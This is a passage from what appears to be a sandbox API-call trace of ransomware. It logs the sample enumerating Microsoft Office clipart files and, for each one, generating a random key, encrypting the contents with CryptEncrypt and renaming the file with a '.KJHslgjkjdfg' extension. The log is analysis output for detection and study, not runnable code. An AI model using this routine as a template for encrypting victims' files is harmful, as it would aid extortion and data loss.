() returned 0x990000 [0210.755] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.755] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0210.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.758] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.758] GetProcessHeap () returned 0x990000 [0210.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.758] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.758] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.758] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.758] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.758] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.758] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.758] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.758] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.759] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.759] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x278a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x278a, lpOverlapped=0x0) returned 1 [0210.760] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2790, dwBufLen=0x2790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2790) returned 1 [0210.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.760] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2790, lpOverlapped=0x0) returned 1 [0210.760] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.760] SetEndOfFile (hFile=0x130) returned 1 [0210.763] GetProcessHeap () returned 0x990000 [0210.763] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.763] GetProcessHeap () returned 0x990000 [0210.763] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.763] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.kjhslgjkjdfg")) returned 1 [0210.765] CloseHandle (hObject=0x130) returned 1 [0210.765] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1 [0210.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.768] GetProcessHeap () returned 0x990000 [0210.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.769] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.769] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0210.774] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.774] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.774] GetProcessHeap () returned 0x990000 [0210.774] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.774] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.774] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.774] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.774] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.774] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.774] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.774] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.774] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.775] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.775] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x13c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x13c2, lpOverlapped=0x0) returned 1 [0210.777] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x13d0) returned 1 [0210.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.778] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x13d0, lpOverlapped=0x0) returned 1 [0210.778] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.778] SetEndOfFile (hFile=0x130) returned 1 [0210.781] GetProcessHeap () returned 0x990000 [0210.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.781] GetProcessHeap () returned 0x990000 [0210.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.kjhslgjkjdfg")) returned 1 [0210.784] CloseHandle (hObject=0x130) returned 1 [0210.784] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SHOW_01.MID", cAlternateFileName="")) returned 1 [0210.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.785] GetProcessHeap () returned 0x990000 [0210.785] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.785] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.786] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.788] GetProcessHeap () returned 0x990000 [0210.788] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.788] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.788] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.788] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.788] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.788] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.789] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.789] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.789] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.789] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x18f8, lpOverlapped=0x0) returned 1 [0210.790] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1900, dwBufLen=0x1900 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1900) returned 1 [0210.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.790] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1900, lpOverlapped=0x0) returned 1 [0210.791] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.791] SetEndOfFile (hFile=0x130) returned 1 [0210.793] GetProcessHeap () returned 0x990000 [0210.793] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.793] GetProcessHeap () returned 0x990000 [0210.793] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.kjhslgjkjdfg")) returned 1 [0210.795] CloseHandle (hObject=0x130) returned 1 [0210.795] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d79200, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7d79200, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x2a0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00256_.WMF", cAlternateFileName="")) returned 1 [0210.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.796] GetProcessHeap () returned 0x990000 [0210.796] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.796] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.796] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0210.798] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.798] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.798] GetProcessHeap () returned 0x990000 [0210.799] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.799] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.799] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.799] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.799] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.799] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.799] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.799] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.799] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.799] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.800] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a0a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a0a, lpOverlapped=0x0) returned 1 [0210.800] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a10, dwBufLen=0x2a10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a10) returned 1 [0210.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.801] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a10, lpOverlapped=0x0) returned 1 [0210.801] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.801] SetEndOfFile (hFile=0x130) returned 1 [0210.804] GetProcessHeap () returned 0x990000 [0210.804] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.804] GetProcessHeap () returned 0x990000 [0210.804] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00256_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00256_.wmf.kjhslgjkjdfg")) returned 1 [0210.806] CloseHandle (hObject=0x130) returned 1 [0210.806] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4440b00, ftCreationTime.dwHighDateTime=0x1bd4ae9, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4440b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae9, nFileSizeHigh=0x0, nFileSizeLow=0x7ca4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00260_.WMF", cAlternateFileName="")) returned 1 [0210.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.807] GetProcessHeap () returned 0x990000 [0210.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.807] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.807] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0210.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.810] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.810] GetProcessHeap () returned 0x990000 [0210.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.810] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.810] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.810] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, 